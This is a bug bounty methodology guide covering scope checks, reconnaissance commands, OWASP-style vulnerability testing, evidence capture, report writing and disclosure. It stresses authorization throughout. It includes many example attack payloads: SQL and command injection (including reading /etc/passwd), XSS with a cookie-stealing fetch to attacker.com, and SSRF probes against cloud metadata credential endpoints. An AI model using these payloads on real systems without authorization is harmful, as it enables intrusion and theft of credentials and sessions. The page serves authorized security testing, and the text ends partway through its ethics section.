Skip to main content
Synced from an Obsidian vault

For graph and advanced features, download the full Intel Codex Vault and open it in Obsidian.

Bug Bounty Methodology SOP

Ethical bug hunting only. Follow program rules, respect scope, practice responsible disclosure.

Table of Contents​

  1. Pre-Engagement & Program Selection
  2. Reconnaissance
  3. Vulnerability Testing Methodology
  4. Advanced Testing Techniques
  5. Evidence Collection
  6. Severity Assessment
  7. Report Writing
  8. Responsible Disclosure
  9. Legal & Ethical Boundaries
  10. Tools Reference
  11. Common Pitfalls

Pre-Engagement & Authorization​

Bug bounty is contract-bound research: the program policy IS the legal authorization, and program text drifts continuously (scope additions, asset retirements, safe-harbor language updates). Re-confirm the contract on the day you test, not the day you triaged. The program-selection criteria and the disclose.io-backed safe-harbor checklist live in §1 Pre-Engagement & Program Selection; this section captures the engagement-hygiene posture that applies before any reconnaissance fires.

Authorization Checklist​

  • Re-pull the in-scope asset list the day testing begins — programs add and retire assets without notification; yesterday's wildcard may not cover today's host.
  • Audit program text against the disclose.io 4-element model: Authorization, Acceptance (good-faith research), Anti-Retaliation, Reciprocity [verify 2026-04-26]. Missing elements weaken safe harbor; cross-check with the existing Safe Harbor & Authorization detail in §1.
  • Confirm the DoS / load-test exclusion clause (almost universally out of scope) and the program's stated rate-limit ceiling.
  • Verify automated-scanner authorization status — many programs restrict or ban scanners outright; some require a tagged user-agent or pre-notification.
  • Account creation policy: program-tagged test accounts only; never seed real PII; never test against another user's account without written consent.
  • Distinguish VDP vs BBP for this asset (recognition-only vs paid) and confirm the program's CVD vs full-disclosure stance before findings are written up.
  • Acknowledge CSP / WAF / DDoS-mitigation interaction is at your risk — IP block or mitigation trigger does not change scope and is not a finding by itself.
  • Scope-creep guardrail: if an in-scope finding pivots to an out-of-scope asset, document the path and stop — do not exploit further. Out-of-scope = unauthorized.
  • Cross-reference Legal & Ethics for jurisdictional anti-hacking framing (CFAA, Computer Misuse Act, Cybercrime Directive, DMCA §1201).

Lab Environment Requirements​

  • Separate browser profile and Burp / Caido project per program — cross-program contamination corrupts finding attribution and is a documented safe-harbor risk.
  • Per-program VPN / source-IP posture if the program coordinates source IPs (Synack, some DoD VDP scopes); otherwise keep a stable testing IP for triage correlation.
  • Throwaway accounts created against the program's stated account-creation policy; never reuse personal email or phone identifiers across programs.
  • Engagement repo (private) per program with: timestamped scope snapshot, payload / parameter corpus, request-response captures, OPSEC-aware redactions per OPSEC.
  • Scope verifier (httpx / dnsx against the in-scope asset list) run before each session to catch wildcard ambiguity and scope drift before traffic fires.
  • Tooling tier: Burp Suite Community/Pro for primary intercept, Caido as a lighter alternative on low-resource hosts, ZAP for fully open-source workflows.

Disclosure-Ready Posture​

  • Build the report alongside the finding, not after — open a per-finding evidence stub at first signal and append PoC steps as you confirm them, with chain-of-custody hygiene per Collection Log.
  • Match the report schema to the platform: HackerOne / Bugcrowd / Intigriti / YesWeHack / Synack / DoD VDP / Open Bug Bounty / GitHub Security Lab schemas differ on severity, asset, CWE, and reproduction fields.
  • Score with CVSS v3.1; dual-publish CVSS v4.0 where the program supports it. Bugcrowd VRT remains the platform-native band for triage on Bugcrowd programs.
  • Track the disclosure clock from first contact: defaults are Project Zero 90+30, CERT/CC 45-day, ISO/IEC 29147:2018 — confirm the program's preferred clock before the first message.
  • Defang PoCs: no live data exfiltration, no destructive payloads, no third-party callbacks beyond program-approved out-of-band servers; redact tokens, cookies, and session identifiers in screenshots.
  • Hand-off and external coordination follow Reporting, Packaging & Disclosure; legal-line escalations follow Legal & Ethics; OPSEC of artifacts follows OPSEC.

1. Pre-Engagement & Program Selection​

Choosing a Program​

Major platforms (verify program tiers and current offerings annually — pricing, scope, and SLAs change per program):

  • HackerOne — Bug Bounty, Pentest as a Service (PTaaS), Vulnerability Disclosure (VDP), Challenge, AI Red Teaming, Code review programs
  • Bugcrowd — Enterprise bug bounty + pentest, AI red-team, attack-surface management
  • Intigriti — European-headquartered platform, hybrid pentest + bounty, Hybrid Pentest
  • YesWeHack — European & government programs, continuous pentest, VDP
  • Synack — Vetted researcher platform (invite-only), continuous testing
  • HackenProof — Crypto/blockchain focus
  • Open Bug Bounty — Coordinated disclosure for non-intrusive web vulns (no platform-side rewards)
  • GitHub Security Lab — Bounties for vulnerabilities in OSS dependencies hosted on GitHub
  • DoD Vulnerability Disclosure Program — Authorized testing of public-facing *.mil assets (HackerOne-managed VDP; safe-harbor under DoD VDP rules)

VDP vs Bug Bounty: A Vulnerability Disclosure Program (VDP) authorizes testing and provides safe harbor but typically does not pay bounties; a Bug Bounty Program (BBP) does both. Programs should align with ISO/IEC 29147:2018 (vulnerability disclosure) and ISO/IEC 30111:2019 (vulnerability handling). The U.S. CISA Binding Operational Directive 20-01 mandates federal agencies operate a VDP modeled on those standards.

Program selection criteria:

  • Clear scope (domains, applications, APIs)
  • Documented response/triage SLAs (verify with the program — figures vary widely between platforms and programs)
  • Fair bounty ranges (avoid "swag-only" for critical findings)
  • Responsive program team (check public resolution metrics where available)
  • Well-defined rules (no vague exclusions)
  • Explicit safe-harbor language (see below)

Safe Harbor & Authorization​

Verify before testing — your only legal protection is the program's written terms:

  • Program policy contains an explicit safe-harbor / authorization clause covering anti-hacking statutes (CFAA in the U.S., Computer Misuse Act in the UK, equivalent local laws)
  • Anti-circumvention exemption (DMCA §1201 in the U.S.) covers reverse-engineering of in-scope assets
  • Good-faith research clause exempts you from violating the operator's own ToS during in-scope testing
  • Scope, payloads, and data-handling rules are reduced to writing — verbal assurances are not safe harbor
  • A named point of contact (security@, platform inbox) is documented for emergencies

Reference templates (canonical, CC0):

  • disclose.io / dioterms — core-terms-vdp.md, core-terms-bbp.md, regional variants, simple-safeharbor/ clause for retrofitting existing policies
  • disclose.io / diodb — searchable directory of programs with safe-harbor / hall-of-fame / reward flags
  • See Legal & Ethics for jurisdiction-by-jurisdiction guidance (CFAA, CMA, GDPR, regional anti-hacking law)

Out-of-scope = unauthorized. Testing assets not listed in scope is the most common trigger for bug-bounty legal escalation. When in doubt, ask the program before touching the asset.

Understanding Scope​

In-Scope Assets:

  • Web applications (list specific URLs/domains)
  • APIs (REST, GraphQL, SOAP endpoints)
  • Mobile applications (iOS/Android)
  • Desktop applications
  • Specific subdomains or wildcards (*.example.com)

Out-of-Scope (Common):

  • Third-party services/integrations
  • Denial of Service (DoS)
  • Social engineering
  • Physical security
  • SPF/DKIM/DMARC issues (often informational)
  • Rate limiting (unless bypassed)
  • Version disclosure without exploit

Rules of Engagement Checklist:

  • Allowed testing hours (some restrict to business hours)
  • Rate limits (requests/second, concurrent scans)
  • Account creation allowed or test credentials provided
  • Data handling rules (PII, user data)
  • Disclosure timeline (90 days standard)
  • Required communication channel (email, platform only)
  • Identity disclosure requirements (anonymous vs KYC)

2. Reconnaissance​

Passive Reconnaissance (No Direct Interaction)​

Domain & Subdomain Discovery:

# Certificate transparency
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sort -u

# Subfinder
subfinder -d example.com -silent -o subdomains.txt

# Amass passive
amass enum -passive -d example.com -o amass_results.txt

# Shodan subdomain search (requires API key)
shodan search hostname:example.com

Technology Stack Fingerprinting:

# webanalyze — Go port of Wappalyzer (Wappalyzer's own CLI/API went closed-source in 2023; the
# browser extension was discontinued. webanalyze ships with periodically-updated technology
# definitions sourced from the open-source enthec project.)
webanalyze -update
webanalyze -host example.com

# WhatWeb
whatweb https://example.com -v

# BuiltWith lookup (commercial API; key required — confirm current API version in BuiltWith docs)
curl -s "https://api.builtwith.com/v20/api.json?KEY=$BUILTWITH_KEY&LOOKUP=example.com"

GitHub/GitLab Reconnaissance:

# Search for company repos, leaked credentials, API keys
# Tools:
# - TruffleHog v3 (active): https://github.com/trufflesecurity/trufflehog
#     trufflehog github --org=ExampleCorp --only-verified
#     trufflehog git https://github.com/ExampleCorp/repo --only-verified
# - Gitleaks (active): https://github.com/gitleaks/gitleaks
#     gitleaks git /path/to/clone -v
# - GitDorker (dorks-driven GitHub search): https://github.com/obheda12/GitDorker
# - Gitrob: ARCHIVED 2023-01-13 (https://github.com/michenriksen/gitrob) — use TruffleHog or Gitleaks instead

# Manual GitHub searches
site:github.com "example.com" password
site:github.com "example.com" api_key
site:github.com "example.com" secret

Google Dorking:

site:example.com filetype:pdf
site:example.com inurl:admin
site:example.com intitle:"index of"
site:example.com ext:php inurl:?id=
site:example.com inurl:login
site:example.com intext:"sql syntax near"
site:example.com ext:log | ext:txt | ext:conf

Wayback Machine (Historical Data):

# Check archived versions (CDX API)
curl -s "https://web.archive.org/cdx/search/cdx?url=example.com/*&output=json&collapse=urlkey"

# WaybackURLs tool (stable but last release 2022 — still functional; alternatives below)
waybackurls example.com > urls.txt

# gau (getallurls) — actively maintained alternative pulling from Wayback, OTX, Common Crawl
# Confirm flag syntax with `gau -h` [verify 2026-04-25]
gau example.com --threads 5 > urls.txt

# katana — modern crawler from projectdiscovery (active + passive sources)
# Confirm flag syntax with `katana -h` [verify 2026-04-25]
katana -u https://example.com -d 5 -jc -kf all -o urls.txt

Active Reconnaissance (Direct Interaction)​

Port Scanning (if allowed):

# Nmap basic scan
nmap -sV -p- example.com

# Common web ports
nmap -p 80,443,8080,8443,3000,4443 example.com

# Service detection
nmap -sV -sC -p 1-10000 example.com

Directory Brute-Forcing:

# Ffuf (fast)
ffuf -u https://example.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,401,403

# Gobuster
gobuster dir -u https://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# Dirsearch
dirsearch -u https://example.com -e php,html,js,txt,json

# Feroxbuster (recursive)
feroxbuster -u https://example.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

Parameter Discovery:

# Arjun (parameter fuzzing)
arjun -u https://example.com/api/user

# ParamSpider — install via `pip install .` from cloned repo; entry point is `paramspider`
paramspider -d example.com

# x8 (Rust parameter discovery — headers, body, and query) — see https://github.com/Sh1Yo/x8 for current flags

JavaScript Analysis:

# Extract JS files
waybackurls example.com | grep -E "\.js$" | sort -u > js_files.txt

# LinkFinder (endpoints in JS)
python3 linkfinder.py -i https://example.com/app.js -o results.html

# Nuclei JS / exposure templates (templates moved to protocol-prefixed paths in nuclei-templates;
# adjust to your local templates layout)
nuclei -u https://example.com -t http/exposures/configs/ -t http/exposures/tokens/

# Manual: Search for API keys, endpoints, comments
curl -s https://example.com/app.js | grep -E "api_key|apiKey|secret|password|token|endpoint"

API Discovery:

# Check for common API paths
/api/v1/
/api/v2/
/graphql
/swagger
/api-docs
/openapi.json

# Swagger/OpenAPI enumeration
curl -s https://example.com/swagger.json | jq .
curl -s https://example.com/v2/swagger.json | jq .

3. Vulnerability Testing Methodology​

OWASP Top 10 Testing​

OWASP Top 10:2025 is now published (owasp.org/Top10/2025/). Key 2025 changes: Security Misconfiguration moved A05 → A02; Software Supply Chain Failures (A03:2025) broadened the old A06:2021 Vulnerable Components; SSRF (A10:2021) dropped from the Top 10; Mishandling of Exceptional Conditions (A10:2025) is new. The categories below are tracked under their long-running titles — confirm whether the program's report template requires 2025 or 2021 IDs, and map both where unclear.

1. Broken Access Control (A01:2025 / A01:2021)

Insecure Direct Object Reference (IDOR):

# Test changing IDs in requests
GET /api/user/123/profile HTTP/1.1
# Try: /api/user/124/profile, /api/user/1/profile

# Test UUID/hash manipulation
GET /api/document/a1b2c3d4-e5f6 HTTP/1.1

# Check for sequential IDs
GET /invoice/1001 → 1002 → 1003

# Tools:
# - Burp Autorize extension
# - IDOR Scanner (custom scripts)

Horizontal/Vertical Privilege Escalation:

# Horizontal: Access another user's data (same privilege level)
GET /api/user/victim@example.com/settings HTTP/1.1
Cookie: session=attacker_session

# Vertical: Access admin functions as regular user
POST /admin/delete_user HTTP/1.1
Cookie: session=regular_user_session

Missing Function Level Access Control:

# Access admin endpoints without admin role
GET /admin/dashboard HTTP/1.1
POST /api/admin/promote_user HTTP/1.1

# Check for hidden admin panels
/admin, /administrator, /manage, /control-panel

2. Cryptographic Failures

Check for:

  • Passwords transmitted in plaintext (HTTP not HTTPS)
  • Sensitive data in URL parameters (tokens, passwords)
  • Weak encryption algorithms (MD5, SHA1 for passwords)
  • Hardcoded cryptographic keys in JavaScript
  • Missing HSTS headers
  • Mixed content (HTTPS page loading HTTP resources)

3. Injection Vulnerabilities

SQL Injection:

# Manual testing
https://example.com/product?id=1' OR '1'='1
https://example.com/search?q=test' UNION SELECT NULL--
https://example.com/user?id=1' AND SLEEP(5)--

# SQLMap (with permission)
sqlmap -u "https://example.com/product?id=1" --batch --dbs

# Time-based blind
https://example.com/search?q=test' AND IF(1=1,SLEEP(5),0)--

NoSQL Injection:

# MongoDB injection example
POST /login HTTP/1.1
Content-Type: application/json

{"username": {"$ne": null}, "password": {"$ne": null}}

# Check for:
$where, $regex, $gt, $lt, $ne operators

Command Injection:

# Common injection points
ping -c 1 127.0.0.1; whoami
file.txt; ls -la
file.txt && cat /etc/passwd
file.txt | whoami
file.txt `whoami`
file.txt $(whoami)

# Blind command injection (time-based)
ping -c 10 127.0.0.1
sleep 10

LDAP Injection:

# Bypass authentication
user=*)(uid=*))(|(uid=*
password=anything

# Extract data
*)(objectClass=*

XPath Injection:

' or '1'='1
' or 1=1 or 'a'='a

4. Cross-Site Scripting (XSS)

Reflected XSS:

<!-- Test in search, error messages, URL parameters -->
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">

<!-- Bypass filters -->
&lt;ScRiPt&gt;alert(1)</sCrIpT>
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

Stored XSS:

<!-- Test in: profiles, comments, messages, file uploads -->
<script>fetch('https://attacker.com?cookie='+document.cookie)</script>

<!-- Persistence checks -->
Update profile bio with: <script>alert(1)</script>
Create comment: <img src=x onerror=alert(1)>

DOM-based XSS:

// Check JavaScript that processes URL fragments
https://example.com/#<script>alert(1)</script>
https://example.com/#<img src=x onerror=alert(1)>

// Tools:
// - DOM Invader (Burp Suite extension)
// - Manual code review of JavaScript

5. Security Misconfiguration

Check for:

# Default credentials
admin:admin, admin:password, root:root

# Directory listing
https://example.com/uploads/
https://example.com/backups/

# Exposed config files
/.env, /config.php, /web.config, /.git/config

# Debug mode enabled
https://example.com/?debug=true
https://example.com/?XDEBUG_SESSION_START=1

# Verbose error messages
SQL errors, stack traces, framework versions

# Missing security headers
curl -I https://example.com
# Check for: HSTS, CSP, X-Frame-Options, X-Content-Type-Options

6. Vulnerable and Outdated Components

# Identify versions
Wappalyzer, WhatWeb, BuiltWith

# Check for known CVEs
# - WordPress: wpscan --url https://example.com
# - Drupal: droopescan scan drupal -u https://example.com
# - npm: npm audit (if you have access to package.json)

# Retire.js (JavaScript library vulnerabilities)
retire --js https://example.com

# Nuclei (automated CVE scanning — templates live under protocol-prefixed paths)
nuclei -u https://example.com -t http/cves/

7. Authentication Failures

Weak Password Policy:

# Test registration with weak passwords
password, 123456, admin, test

# No complexity requirements
# No length requirements
# Common passwords accepted

Credential Stuffing/Brute Force:

# Check for rate limiting
# Use Burp Intruder or Hydra (with permission)

# Lack of account lockout
# No CAPTCHA after X failed attempts
# Predictable session tokens

Session Management Issues:

# Session fixation
# Session doesn't regenerate after login

# Weak session tokens
Cookie: session=user123
# Predictable or guessable tokens

# No session timeout
# Sessions valid indefinitely

# Session tokens in URL
https://example.com/dashboard?session=abc123

8. Software and Data Integrity Failures

Check for:

  • Missing integrity checks (SRI for CDN resources)
  • Insecure deserialization (Java, Python pickle, PHP unserialize)
  • Auto-update without signature verification
  • CI/CD pipeline vulnerabilities

9. Security Logging and Monitoring Failures

Test for:

  • No logging of authentication failures
  • No alerting on suspicious activity
  • Logs contain sensitive data (passwords, tokens)
  • No audit trail for privileged actions

10. Server-Side Request Forgery (SSRF)

# Test URL parameters that fetch external resources
https://example.com/fetch?url=http://attacker.com
https://example.com/proxy?url=http://169.254.169.254/latest/meta-data/

# AWS IMDSv1 metadata (SSRF to cloud — IMDSv1 is unauthenticated; IMDSv2 requires a session token
# obtained via PUT, which usually breaks naive SSRF unless the vulnerable client follows redirects
# or supports PUT)
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure IMDS (header required: Metadata: true)
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# GCP metadata (header required: Metadata-Flavor: Google)
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# DigitalOcean / Oracle / Alibaba metadata endpoints follow similar patterns —
# 169.254.169.254 is the AWS-compatible link-local IP many providers reuse

# Kubernetes API server (in-pod SSRF)
https://kubernetes.default.svc/api/v1/namespaces

# Internal network scan
https://example.com/fetch?url=http://127.0.0.1:22
https://example.com/fetch?url=http://192.168.1.1

# Bypass filters (representation tricks)
http://127.0.0.1 → http://127.1 → http://[::1] → http://localhost
http://127.0.0.1 → http://2130706433 (decimal) → http://0x7f000001 (hex)
http://attacker.com#@127.0.0.1 (URL parser confusion)
http://attacker.com.127.0.0.1.nip.io (DNS rebinding via wildcard service)

4. Advanced Testing Techniques​

Business Logic Vulnerabilities​

Race Conditions:

# Parallel requests to exploit timing windows
# Classic technique: Turbo Intruder (Burp Suite extension) with `requestsPerConnection`
#
# Modern technique: single-packet attack (PortSwigger Research, 2023). Multiple requests are
# pipelined into one TCP segment so they arrive simultaneously, eliminating jitter from
# network stack ordering. Burp Repeater 2023.10+ supports this directly:
#   Repeater → tab group → "Send group in parallel (single connection)"
# Reference: https://portswigger.net/research/smashing-the-state-machine

# Targets:
# - Simultaneous fund transfers / wallet withdrawals
# - Parallel coupon / gift-card redemptions
# - Concurrent vote / like submissions
# - 2FA token reuse windows
# - Email-confirmation token race (set + use before invalidation)

Price Manipulation:

POST /checkout HTTP/1.1
Content-Type: application/json

{"item_id": 123, "price": 0.01, "quantity": 1}
# Try negative prices: -10
# Try zero: 0

OAuth/SAML Vulnerabilities:

# OAuth: Test for:
- Missing state parameter (CSRF)
- Redirect URI manipulation
- Token leakage via Referer header

# SAML: Test for:
- XML signature wrapping
- Comment injection
- Assertion replay

API-Specific Testing​

Mass Assignment:

POST /api/user/update HTTP/1.1
Content-Type: application/json

{"email": "test@example.com", "is_admin": true, "role": "admin"}
# Try adding fields not in UI: is_admin, role, verified, etc.

GraphQL Testing:

# Introspection (if enabled)
query {
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}

# Batch queries (DoS potential)
query {
  user1: user(id: 1) { name }
  user2: user(id: 2) { name }
  # ... repeat 1000 times
}

# Nested queries (resource exhaustion)
query {
  posts {
    author {
      posts {
        author {
          posts { ... }
        }
      }
    }
  }
}

Modern Web Bug Classes​

The OWASP Top 10 lags real-world finding patterns by years. The following classes regularly produce high/critical bounties on mature programs and warrant explicit testing.

HTTP Request Smuggling (CL.TE / TE.CL / TE.TE / H2.CL / H2.TE):

# Front-end uses Content-Length, back-end uses Transfer-Encoding (CL.TE) — smuggle a second request
POST / HTTP/1.1
Host: example.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
  • Burp extension: HTTP Request Smuggler (Albinowax) — Tools → BApp Store
  • HTTP/2 downgrade smuggling is the most prolific 2023+ variant; test even when the front-end is HTTP/2 if the back-end is HTTP/1.1
  • Reference: PortSwigger Web Security Academy — Request Smuggling

Web Cache Deception & Web Cache Poisoning:

# Cache deception (Omer Gil): trick the cache into storing an authenticated response
# under a public-looking URL by appending a static-looking suffix
curl -b "session=victim_cookie" "https://example.com/account/profile.css"
# If profile.css is cached as static and contains the victim's data → cache deception

# Cache poisoning: use unkeyed inputs (X-Forwarded-Host, X-Original-URL, etc.) to
# poison a cached response that is then served to other users
# Burp extension: Param Miner — discovers unkeyed headers and parameters

Prototype Pollution (client-side & server-side):

// Client-side: pollute Object.prototype via URL or JSON merge sinks
location.hash = '?__proto__[isAdmin]=true'

// Burp extension: DOM Invader — automated client-side prototype-pollution gadget search
// Server-side (Node.js): merge() / Object.assign() with attacker-controlled keys
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}

JWT Vulnerabilities:

# jwt_tool (active, v2.x as of May 2025) — https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py &lt;token&gt;                          # decode
python3 jwt_tool.py &lt;token&gt; -M at -t https://target  # all-tests mode against an endpoint

# Common findings:
# - alg=none acceptance
# - HS256/RS256 confusion (sign with the public key as HS256 secret)
# - Weak HS256 secrets crackable with hashcat mode 16500
# - kid path traversal / SQLi
# - jku / x5u unauthenticated trust → key-confusion

Server-Side Template Injection (SSTI):

# Universal probe (works in Jinja2, Twig, Smarty, Freemarker, ERB, Velocity)
{{7*7}}    # → 49 means evaluation; literal "{{7*7}}" means no SSTI
${7*7}     # JSP/Freemarker
<%= 7*7 %> # ERB

# Engine-specific RCE chains in tplmap (https://github.com/epinna/tplmap — last release 2018,
# still useful for engine ID; for new engines use manual chains from PortSwigger SSTI Academy)

OAuth 2.0 / OpenID Connect Pitfalls (deeper than §4 OAuth/SAML):

  • redirect_uri validation flaws (substring/prefix matching, path traversal)
  • state parameter missing or not bound to session → login-CSRF
  • PKCE downgrade (code_challenge optional when client supports it)
  • id_token signature not verified by client (especially in implicit flow)
  • aud / iss claim not checked → token-confusion across clients
  • Refresh-token replay across clients (no rotation / no client_id binding)

XS-Leaks & Same-Site Bypasses:

  • Frame-counting, error-event timing, and performance.getEntries() leaks
  • SameSite=Lax 2-minute exception for top-level POST navigations (Chrome) — verify on the program's stack
  • Reference: xsleaks.dev

5. Evidence Collection​

Screenshot Requirements​

Must include:

  • Full URL in browser address bar
  • Timestamp (system clock or include online timestamp)
  • Unique identifier (your test account name, custom header)
  • Impact demonstration (successful exploit, not just vulnerability indicator)

Mask sensitive data:

  • Other users' PII (names, emails, addresses)
  • Internal IPs (if not critical to finding)
  • Full session tokens (show last 4 chars only)

Request/Response Capture​

Burp Suite workflow:

  1. Enable Proxy → Intercept
  2. Send request to Repeater
  3. Show original request (before exploit)
  4. Show modified request (with payload)
  5. Show response demonstrating impact
  6. Save to file: Right-click → Save item

Example format:

========== ORIGINAL REQUEST ==========
GET /api/user/123/profile HTTP/1.1
Host: example.com
Cookie: session=abc123xyz

========== RESPONSE ==========
HTTP/1.1 200 OK
{"user_id": 123, "email": "me@example.com"}

========== EXPLOIT REQUEST ==========
GET /api/user/456/profile HTTP/1.1
Host: example.com
Cookie: session=abc123xyz

========== VULNERABLE RESPONSE ==========
HTTP/1.1 200 OK
{"user_id": 456, "email": "victim@example.com", "ssn": "123-45-6789"}

Video Proof-of-Concept​

When to use:

  • Complex multi-step exploits
  • Race conditions
  • Real-time demonstrations (clickjacking, XSS)

Tools:

  • OBS Studio (free screen recorder)
  • ShareX (Windows)
  • Kap (macOS)

Best practices:

  • Keep under 3 minutes
  • Narrate steps clearly
  • Show URL bar at all times
  • Upload to YouTube (unlisted) or Vimeo

6. Severity Assessment​

CVSS Scoring (if required by program)​

Calculator versions:

  • CVSS 3.1 Calculator — still the most widely accepted version on bounty platforms (HackerOne, Bugcrowd default to 3.1 in 2026)
  • CVSS 4.0 Calculator — published November 2023; adoption is uneven, with some programs (notably DoD VDP, several FIRST members) accepting or requiring 4.0. Confirm which version the program expects before scoring; submitting the wrong version forces re-triage.
  • Bugcrowd uses its own Vulnerability Rating Taxonomy (VRT) in addition to or instead of CVSS — check the program's policy.

Common 3.1 score bands (illustrative — programs may rate differently based on business impact):

  • Critical (9.0-10.0): RCE, SQL injection with full DB access, authentication bypass
  • High (7.0-8.9): Stored XSS, IDOR with sensitive data, privilege escalation
  • Medium (4.0-6.9): Reflected XSS, CSRF, information disclosure
  • Low (0.1-3.9): CAPTCHA bypass, rate limiting issues, minor info leaks

Program-Specific Rubrics​

Example impact rating:

Critical:
- Account takeover without user interaction
- Remote code execution
- Full database extraction

High:
- Account takeover with user interaction
- Access to sensitive data (PII, financial)
- Privilege escalation to admin

Medium:
- Limited data exposure
- CSRF on state-changing actions
- Stored XSS on low-traffic pages

Low:
- Self-XSS
- Open redirect (no additional impact)
- SPF/DMARC misconfigurations

7. Report Writing​

Report Structure​

1. Title

[Severity] Vulnerability Type on Asset/Endpoint

Examples:
[Critical] SQL Injection in /api/search allows full database access
[High] IDOR in /api/user/{id} exposes all user PII
[Medium] Stored XSS in user profile bio field

2. Summary

A brief (1-2 sentence) description of the vulnerability and impact.

Example:
The /api/search endpoint is vulnerable to SQL injection via the 'query'
parameter, allowing an unauthenticated attacker to extract the entire
user database including passwords and payment information.

3. Steps to Reproduce

Provide clear, minimal steps:

1. Navigate to https://example.com/search
2. Enter the following payload in the search box: ' OR 1=1--
3. Submit the search
4. Observe that all database records are returned in the response

Include:
- Exact URLs
- Exact payloads (copy-pasteable)
- Required preconditions (logged in/out, specific browser, etc.)
- Expected vs actual results

4. Proof of Concept

- Screenshots (annotated)
- HTTP request/response (sanitized)
- Video demonstration (if applicable)
- Code snippet showing vulnerable code (if available)

5. Impact

Explain business impact:
- What data can be accessed/modified/deleted?
- How many users are affected?
- What actions can attacker perform?
- Compliance implications (GDPR, PCI-DSS, etc.)

Example:
An attacker can extract all user records including emails, hashed
passwords, and payment card data. This affects all 50,000+ users and
represents a critical PCI-DSS compliance violation. Attackers could
use this data for credential stuffing attacks or sell the database
on underground forums.

6. Remediation

Provide specific, actionable fixes:

Vulnerable code (if known):
query = "SELECT * FROM users WHERE name = '" + user_input + "'"

Secure code:
query = "SELECT * FROM users WHERE name = ?"
cursor.execute(query, (user_input,))

Recommendations:
- Use parameterized queries for all SQL statements
- Implement input validation (whitelist allowed characters)
- Apply principle of least privilege to database accounts
- Enable SQL injection detection in WAF

7. References

- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: https://cwe.mitre.org/data/definitions/89.html
- Similar vulnerability in Program X (if public)

Report Template Example​

Example Report Format:

Title: [Critical] SQL Injection in /api/search Endpoint

Summary:
The /api/search endpoint does not properly sanitize user input in the 'query'
parameter, allowing SQL injection attacks. An unauthenticated attacker can
extract the entire database, including user credentials and payment information.

Vulnerability Details:
- Asset: https://example.com/api/search
- Vulnerability Type: SQL Injection (CWE-89)
- Severity: Critical (CVSS 9.8)
- Affected Component: Search API v1
- Authentication Required: No

Steps to Reproduce:
1. Send the following HTTP request:
   GET /api/search?query=test%27%20OR%201=1-- HTTP/1.1
   Host: example.com

2. Observe the response contains all user records:
   {"results": [
     {"id": 1, "email": "user1@example.com", "password_hash": "..."},
     {"id": 2, "email": "user2@example.com", "password_hash": "..."},
     ...
   ]}

Proof of Concept:
[Screenshot showing SQL injection payload and response]
[Video demonstration: https://youtu.be/xxx]

Impact:
- Data Exposure: All user records (50,000+ users)
- Affected Data: Emails, password hashes, names, addresses, payment tokens
- Business Impact: PCI-DSS violation, regulatory fines, reputation damage
- Attack Complexity: Low (single HTTP request, no authentication required)

Remediation:
Immediate:
1. Deploy WAF rule to block SQL injection patterns
2. Disable the vulnerable endpoint until patched

Permanent Fix:
Replace dynamic query with parameterized statement:
  # Vulnerable
  query = f"SELECT * FROM users WHERE name LIKE '%{user_input}%'"

  # Secure
  query = "SELECT * FROM users WHERE name LIKE %s"
  cursor.execute(query, (f"%{user_input}%",))

Additional Recommendations:
- Implement input validation (whitelist alphanumeric + common punctuation)
- Use ORM with built-in SQL injection protection
- Apply least privilege to database user (read-only for search operations)
- Enable query logging and monitoring for anomalous patterns

References:
- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: https://cwe.mitre.org/data/definitions/89.html
- OWASP SQL Injection Prevention Cheat Sheet:
  https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

Timeline:
- 2025-10-05 10:00 UTC: Vulnerability discovered
- 2025-10-05 11:30 UTC: Report submitted

8. Responsible Disclosure​

Communication Best Practices​

Initial report:

  • Be professional and respectful
  • Avoid hyperbole ("this will destroy your company")
  • Provide all necessary details upfront
  • Suggest a disclosure timeline aligned with the program's policy (Project Zero / industry-common defaults are 90 days, but program policy controls)

Follow-up:

  • Respect the triage SLA published by the program — values vary widely (a few days to several weeks). Do not assume any platform-wide number; check the program's response-time metrics.
  • Respond promptly to questions
  • Provide additional PoC if requested
  • Don't spam with duplicate reports

Handling triage outcomes:

Accepted:

  • Thank the team
  • Await fix deployment
  • Perform retest when requested
  • Confirm fix resolved issue

Duplicate:

  • Ask for reference to original report
  • Request credit if your report added value
  • Move on to next target

Informational/Low Priority:

  • Understand their business context
  • Accept decision gracefully
  • Consider impact rating accuracy

Not Applicable:

  • Verify you understood scope correctly
  • Ask for clarification if needed
  • Don't argue; ask for feedback

Disclosure Timeline​

Reference standards: ISO/IEC 29147:2018 (vulnerability disclosure) and ISO/IEC 30111:2019 (vulnerability handling) define the canonical process. Most public disclosure deadlines (Google Project Zero 90+30, CERT/CC 45-day default, etc.) are organisational interpretations of these standards.

Illustrative 90-day timeline (the program's policy is authoritative):

  • T+0: Report submitted
  • T+0 to triage SLA (varies — check program): Initial triage complete, severity confirmed
  • Mid-window: Patch development & internal testing
  • Pre-deadline: Patch deployed; coordinated public disclosure with vendor
  • Deadline: Public disclosure permitted under program rules

Early disclosure (with explicit program permission only):

  • Critical vulnerabilities actively exploited in the wild
  • Vendor requests early publication
  • Patch deployed and vendor confirms readiness

Extended disclosure:

  • Complex fixes requiring architectural changes
  • Coordinate with vendor if they request extension; do not unilaterally extend
  • Document the extension agreement in writing (platform message thread is acceptable)

9. Legal & Ethical Boundaries​

Canonical jurisdiction-by-jurisdiction guidance lives in Legal & Ethics SOP. This section covers bug-bounty-specific obligations only — read both before testing.

What NOT to Do​

❌ Never:

  • Test out-of-scope assets
